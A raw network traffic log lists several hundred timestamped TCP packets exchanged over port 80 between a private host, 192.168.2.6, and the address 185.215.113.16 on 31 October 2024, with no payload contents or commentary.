Oct 31, 2024 01:19:21.809143066 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809156895 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809164047 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809170961 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809186935 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809186935 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809194088 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809201002 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809211016 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809222937 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809225082 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809238911 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809247017 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809254885 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809279919 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809295893 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809325933 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809331894 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809340954 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809362888 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809374094 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809505939 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809540033 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809567928 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809581995 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809596062 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809606075 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809612989 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809621096 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809629917 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809629917 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809650898 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809653044 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809664965 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809674025 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809680939 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809685946 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809698105 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809704065 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809711933 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809712887 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809730053 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809735060 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809751987 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809760094 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809926033 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809941053 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809964895 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809964895 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809974909 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.809981108 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.809998989 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810022116 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810026884 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810033083 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810039043 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810060024 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810064077 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810075998 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810087919 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810091019 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810106039 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810106993 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810116053 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810122013 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810134888 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810144901 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810147047 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810161114 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810170889 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810175896 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810179949 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810192108 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810197115 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810208082 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810214996 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810228109 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810230017 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810245991 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810250998 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810259104 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810269117 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810273886 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810281992 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810287952 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810302973 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810303926 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810312033 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810317993 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810333014 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810342073 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810342073 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810349941 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810364962 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810374022 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810378075 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810389042 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810404062 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810405970 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810405970 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810422897 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810429096 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810435057 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810445070 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810461044 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810467005 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810476065 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810482979 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810497046 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810499907 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810507059 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810513973 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810534000 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810535908 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810548067 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810553074 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810569048 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810578108 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810584068 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810601950 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810647964 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810663939 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810678005 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810686111 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810695887 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810703993 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810717106 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810719013 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810734987 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810749054 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810749054 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810753107 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810769081 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810782909 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810791969 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810806036 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810813904 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810836077 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810839891 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810852051 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810858011 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810867071 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810875893 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810889006 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810890913 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810905933 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810905933 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810921907 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.810930967 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810939074 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.810995102 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811012030 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811027050 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811048031 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811055899 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811055899 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811064005 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811080933 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811084986 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811094999 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811105967 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811111927 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811113119 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811125040 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811126947 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811156988 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811156988 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811168909 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811183929 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811199903 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811207056 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811213970 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811218977 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811235905 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811249971 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811291933 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811325073 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811343908 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811359882 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811383009 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811397076 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811397076 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811413050 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811433077 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811443090 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811484098 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811499119 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811512947 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811528921 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811533928 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811544895 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811557055 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811575890 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811593056 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811605930 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811615944 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811623096 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811645985 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811660051 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811666012 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811681032 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811703920 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811712027 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811755896 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811777115 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811793089 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811793089 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811808109 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811820030 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811822891 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811826944 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811836958 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811839104 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811856031 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811857939 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811872005 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811881065 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811888933 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811891079 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811904907 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.811909914 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811928034 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.811940908 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.812031031 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.812069893 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.812124968 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.812138081 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.812151909 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.812163115 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.812180996 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.812195063 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.812210083 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.812225103 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.812237978 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.812246084 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.812258959 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.812277079 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.812623978 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.812639952 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.812653065 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.812664032 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.812680960 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.812691927 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.812706947 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.812722921 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.812736988 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.812742949 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.812762022 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.812768936 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.812788010 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.812803030 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.812815905 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.812824011 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.812841892 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.812850952 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.812895060 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.812908888 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.812926054 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.812928915 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.812952042 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.812962055 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.812975883 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.812990904 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.812994957 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.812994957 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813008070 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813014984 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.813028097 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813039064 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.813052893 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813054085 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.813070059 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.813079119 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813088894 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.813091040 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813103914 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.813108921 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813119888 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.813124895 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813134909 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.813148975 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813169003 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813169003 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813169956 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.813185930 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.813200951 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.813214064 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813224077 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.813230991 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813230991 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813237906 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.813254118 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.813257933 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813270092 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.813277006 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813288927 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.813297033 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813304901 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.813312054 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813318968 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813340902 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813400030 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.813412905 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.813427925 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.813437939 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813445091 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.813456059 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813460112 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.813469887 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813488007 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.813499928 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855241060 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855273008 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855287075 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855302095 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855336905 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855353117 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855369091 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855377913 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855384111 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855400085 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855415106 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855429888 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855438948 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855452061 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855463982 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855467081 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855480909 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855482101 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855495930 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855508089 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855509996 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855526924 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855535984 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855541945 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855554104 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855556965 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855571985 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855587006 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855590105 CET	49998	80	192.168.2.6	185.215.113.16
